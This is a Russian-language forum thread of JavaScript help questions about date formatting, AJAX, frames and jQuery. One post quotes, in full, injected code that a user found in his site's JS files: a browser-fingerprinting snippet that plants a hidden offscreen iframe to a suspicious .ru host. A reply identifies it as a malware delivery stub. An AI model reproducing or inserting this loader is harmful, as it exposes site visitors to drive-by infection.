Ru-Board.club
← Вернуться в раздел «Web-программирование»

» вопросы по javascript

Автор: vs6262
Дата сообщения: 30.09.2013 07:09
как с пом. JS проще реализовать пересчет этих выше названных милисекунд в нормальный формат с GMT корректировкой ?
Автор: Cheery
Дата сообщения: 30.09.2013 07:12
vs6262

var date = new Date(unix_timestamp в секундах);
var hours = date.getHours();
var minutes = date.getMinutes();
var seconds = date.getSeconds();

либо как здесь
http://www.codingforums.com/archive/index.php/t-19663.html
Автор: vs6262
Дата сообщения: 30.09.2013 21:51
у меня еще один вопрос

Код: <html>
<head>
<title>&#180;PHP Time with AJAX</title>
<script type="text/javascript">

function getXMLObject() //XML OBJECT
{
var xmlHttp = false;
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP") // For Old Microsoft Browsers
}
catch (e) {
try {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP") // For Microsoft IE 6.0+
}
catch (e2) {
xmlHttp = false // No Browser accepts the XMLHTTP Object then false
}
}
if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {
xmlHttp = new XMLHttpRequest(); //For Mozilla, Opera Browsers
}
return xmlHttp; // Mandatory Statement returning the ajax object created
}

var xmlhttp = new getXMLObject();    //xmlhttp holds the ajax object

function ajaxFunction() {
var getdate = new Date(); //Used to prevent caching during ajax call
if(xmlhttp) {
xmlhttp.open("GET","gettime.php?" + getdate.getTime(),true); //gettime will be the servlet name
xmlhttp.onreadystatechange = handleServerResponse;
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(null);
}
}

function handleServerResponse() {
if (xmlhttp.readyState == 4) {
if(xmlhttp.status == 200) {
    
var _t = xmlhttp.responseText;
var MyDate = new Date(Math.round(_t));

var day = ('0' + (MyDate.getDay()+0)).slice(-2);
     if(day==01){day='Montag';}
     else if(day==02){day='Dienstag';}
     else if(day==03){day='Mitwoch';}
     else if(day==04){day='Donnerstag';}
     else if(day==05){day='Freitag';}
     else if(day==06){day='Samstag';}
else if(day==07){day='Sontag';}
     else {}

var date = ('0' + (MyDate.getDate()+0)).slice(-2);
var month = ('0' + (MyDate.getMonth()+1)).slice(-2);
var year = MyDate.getFullYear();

     var hours = ('0' + (MyDate.getHours()+0)).slice(-2);
     var minutes = ('0' + (MyDate.getMinutes()+0)).slice(-2);
     var seconds = ('0' + (MyDate.getSeconds()+0)).slice(-2);
    
document.myForm.time.value=_t+' : ('+MyDate+') - '+day+', '+date+'.'+month+'.'+year+' - '+hours+':'+minutes+':'+seconds; //Update the HTML Form element
}
else {
alert("Error during AJAX call. Please try again");
}
}
}

/*
var date = new Date(unix_timestamp in seconds);
var hours = date.getHours();
var minutes = date.getMinutes();
var seconds = date.getSeconds();
*/
</script>
<body>
<form name="myForm">
Server Time:<input type="text" size="200" name="time" />
<br />
<input type="button" onClick="javascript:ajaxFunction();" value="Click to display Server Time on Textbox"/>
<br />
</form>
</body>
</head>
</html>
Автор: Cheery
Дата сообщения: 30.09.2013 22:11
vs6262
заработало что?


Цитата:
if(day==01){day='Montag';}
       else if(day==02){day='Dienstag';}
       else if(day==03){day='Mitwoch';}
       else if(day==04){day='Donnerstag';}
       else if(day==05){day='Freitag';}
       else if(day==06){day='Samstag';}
       else if(day==07){day='Sontag';}
       else {}

не проще сделать массив и обращаться к нему по индексу?

Автор: vs6262
Дата сообщения: 30.09.2013 22:18
время не приходит из gettime.php

Добавлено:
var _t
Автор: Cheery
Дата сообщения: 30.09.2013 22:34
vs6262
почему так решили?
все приходит, в форме же отображается
Автор: vs6262
Дата сообщения: 30.09.2013 22:38

Цитата:
vs6262 почему так решили? все приходит, в форме же отображается

так это с серлетом.

а с php не хочет
http://www.br-andy.de/index_php_time.html
Автор: Cheery
Дата сообщения: 30.09.2013 22:56

Цитата:
а с php  не хочет

тоже отображает в форме..
Автор: vs6262
Дата сообщения: 30.09.2013 23:06
Cheery
этот долбанный IE10

Sorry... спс.

Добавлено:
и всетаки может у хостера Tomcat и другой вебспейс таймаут разный ???

Добавлено:
вот на другом хостинге и с IE10 нормально работает
http://www.flink.bplaced.net/index_php_time.html
Автор: Cheery
Дата сообщения: 30.09.2013 23:38
vs6262

Цитата:
этот долбанный IE10

и IE10 все отображает..

Цитата:
и всетаки может у хостера Tomcat и другой вебспейс таймаут разный

для начала опишите что не так вообще.
Автор: vs6262
Дата сообщения: 01.10.2013 00:14
я сейчас у IE10 кеш почистил и все стало нормально
Автор: CoolCmd
Дата сообщения: 17.10.2013 00:45
Cheery

Цитата:
какой смысл в (0,m.Dm) , почему не оставить только m.Dm

потому что у функции может быть 2 аргумента и нужно передать второй.
полностью кусок кода покажите.

не, это не аргументы.

Код:
; (0,m.Dm)("/upload");
; var b=(0,m.p)(void 0);
Автор: Cheery
Дата сообщения: 17.10.2013 01:01
CoolCmd
пробовали http://jsunpack.jeek.org/ ?
делается не столько для уменьшения размера, сколько для усложнения обратного процесса, как мне кажется
Автор: mishakor
Дата сообщения: 17.10.2013 09:26
Добрый день!

Локально на денвере работает сайт, состоит из нескольких фреймов, стала выскакивать следующая ошибка

Цитата:
Error: Permission denied to access property 'document'

При этом никаких изменений я не делал, стала выскакивать сама по сибе.
Вот кусок кода js на который ругается фаербаг

Код: window.parent.rightFrame.document.location = "/gazeta/zakaz.html?zakaz="+RowID+"&gazeta_nomer="+gazeta_nomer+"&gazeta_id="+gazeta_id;
Автор: Cheery
Дата сообщения: 17.10.2013 09:42
mishakor

Цитата:
но встречаемые примеры в интернете были с iFrame на другие домены

нет такого, вы не можете обращатся к содержимого iframe из другого домена.
src поменять можете, но не через document.location
более того, правильнее не document.location, а window.location
просто современные браузеры поддерживают такой маппинг
Автор: mishakor
Дата сообщения: 17.10.2013 09:49
Вы меня не совсем поняли, я имел ввиду встречал примеры моей ошибки
У меня всё на одном домене.
Я вроде разобрался, сотрудник набрал адрес локального сайта с www из за этого пошол этот косяк, почему то браузер думает что сайт без www и с ним - разные сайты, буду это как то отсикать через mod_rewrite, или есть какой другой способ, не подскажешь?
Автор: Cheery
Дата сообщения: 17.10.2013 18:14
mishakor

Цитата:
почему то браузер думает что сайт без www и с ним - разные сайты

потому, что это разные домены.
Автор: NskRonin
Дата сообщения: 20.10.2013 19:49
Всем привет, народ подскажите чем опасен такой код в java скрипте?
[more=Код в заголовке js файлов]
//beleiad9
(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
return index;
}
return false;
}
function zzz_check_ua(){
var blackList = 'Linux|Macintosh|FreeBSD|Chrome|iPad|iPhone|IEMobile|Android|Firefox/18.0|Firefox/18.0.1|Firefox/18.0.2|Firefox/19.0|Firefox/19.0.1|Firefox/19.0.2|Firefox/20.0|Firefox/21.0|Firefox/22.0|Firefox/23.0|Firefox/24.0|Maxthon|YandexNews|bingbot|YandexAntivirus|Chromium|Googlebot|Wget|YandexBot|Googlebot-Image|msnbot-media|SymbianOS|Mini|YandexDirect|MRSPUTNIK';
blackList = blackList.split('|');
var blackUA = false;
for (var i in blackList) {
if (stripos(navigator.userAgent, blackList[i])!==false) {
blackUA = true;
break;
}
}
return blackUA;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!zzz_check_ua()) {
var cookie = getCookie('zippos8fusajwf9');
if (cookie == undefined) {
setCookie('zippos8fusajwf9', true, 86400);
document.write('<iframe src="http://fwqb2bvf.divavu.ru/vasbfn.dskahjv?default" style="position:absolute;left:-900px;top:-900px;" height="105" width="105"></iframe>');
}
};
})();
//kolamne817/**
[/more]
Автор: Cheery
Дата сообщения: 20.10.2013 20:32
NskRonin
проверяет если у пользователя веббраузер не из списка (скорее всего те браузеры, в которых нет уязвимостей), тогда открывает iframe с ссылкой на сайт, который уже, видимо (так как лежит), пытается подсунуть вирус.
Автор: NskRonin
Дата сообщения: 20.10.2013 22:00
Cheery

В целом понятно, спасибо. Оригинал скрипта удалить или пусть как народное достояние лежит?
Автор: Cheery
Дата сообщения: 20.10.2013 22:13
NskRonin

Цитата:
В целом понятно, спасибо. Оригинал скрипта удалить или пусть как народное достояние лежит?

да можно оставить.. кто нибудь будет искать в гугле и прочитает.
Автор: BennyBlanco
Дата сообщения: 19.11.2013 21:20
Я опять к спецам за помощью
--------------------
есть рабочий "перекльчатель"
<div id="ideos"><iframe id="ilms_mains" src="http://vk.com/video_ext.php?oid=77166824&id=163437407&hash=2db454407d40f0e2&hd=3" width="540" height="341" frameborder="0" scrolling="no"></iframe></div>


<select size="1" onchange="javascript: var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=this.value; divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; }"><option selected="selected" value="http://vk.com/video_ext.php?oid=77166824&id=163437407&hash=2db454407d40f0e2&hd=3">1-я часть</option><option value="http://vk.com/video_ext.php?oid=-52976077&id=165605092&hash=213dfafc7ef5ff2d&hd=3">2-я часть</option></select>
---------------------------------------------
Что я хочу сделать все тоже самое только вынести сам скрипт во внешний файл
моих знаний явно не хватает, просьба помочь
вот что у меня получилось (только не работает)

<select size="1" id="tles"><option selected="selected" value="http://vk.com/video_ext.php?oid=77166824&id=163437407&hash=2db454407d40f0e2&hd=3">1-я часть</option><option value="http://vk.com/video_ext.php?oid=-52976077&id=165605092&hash=213dfafc7ef5ff2d&hd=3">2-я часть</option></select>


<script type="text/javascript">$(function(){ $('#tles').onchange(function(){ var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=this.value; divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; }); });</script>
Автор: Cheery
Дата сообщения: 19.11.2013 22:26
BennyBlanco

Цитата:
Что я хочу сделать все тоже самое только вынести сам скрипт во внешний файл

ну, а в подключаемом файле вы тоже указываете <script></script> и как он подключается?
Автор: BennyBlanco
Дата сообщения: 19.11.2013 22:50
Cheery
Я имел ввиду в файл скрипта .js

$(function(){ $('#tles').onchange(function(){ var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=this.value; divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; }); });

Добавлено:
Во внешний скрипт

Добавлено:
Как перенести эту часть
onchange="javascript: var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=this.value; divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; }"
во внешний скрипт?
а тегу select назначить ид к примеру tles
<select size="1" id="tles">
Автор: Cheery
Дата сообщения: 20.11.2013 00:01
BennyBlanco
$('#tles').change(function()
Автор: BennyBlanco
Дата сообщения: 20.11.2013 00:11
Cheery
пробовал
$('#tles').change(function(){ var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=this.value; divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; });
и так
$(function(){ $('#tles').change(function(){ var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=this.value; divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; });
не работает
Автор: Cheery
Дата сообщения: 20.11.2013 00:31
BennyBlanco

Цитата:
не работает

ссылку

this.value
можно попробовать как
$(this).val();
Автор: BennyBlanco
Дата сообщения: 20.11.2013 00:48
Cheery
не получается, я пробую здесь http://www.onlinehtmleditor.net/

<script src="http://code.jquery.com/jquery-1.9.1.js"></script>

<div id="ideos"><iframe id="ilms_mains" src="http://vk.com/video_ext.php?oid=77166824&id=163437407&hash=2db454407d40f0e2&hd=3" width="540" height="341" frameborder="0" scrolling="no"></iframe></div>

<select size="1" id="tles"><option selected="selected" value="http://vk.com/video_ext.php?oid=77166824&id=163437407&hash=2db454407d40f0e2&hd=3">1-я часть</option><option value="http://vk.com/video_ext.php?oid=-52976077&id=165605092&hash=213dfafc7ef5ff2d&hd=3">2-я часть</option></select>


<script>$(function(){ $('#tles').change(function(){ var divin=document.getElementById('ideos'); var f_m=document.getElementById('ilms_mains'); if(f_m){ $('#ilms_mains').remove(); f_m.data=$(this).val(); divin.innerHTML='&lt;iframe id=ilms_mains src='+this.value+' width=540 height=341 frameborder=0 scrolling=no&gt;&lt;/iframe&gt;'; }); });</script>
Автор: Cheery
Дата сообщения: 20.11.2013 00:57
BennyBlanco
http://jsfiddle.net/ePtM8/
Автор: BennyBlanco
Дата сообщения: 20.11.2013 01:31
Cheery
Большое спасибо, как я только не пробовал...

Страницы: 12345678910111213141516171819202122

Предыдущая тема: jQuery: Перемещение якоря на верх страницы


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.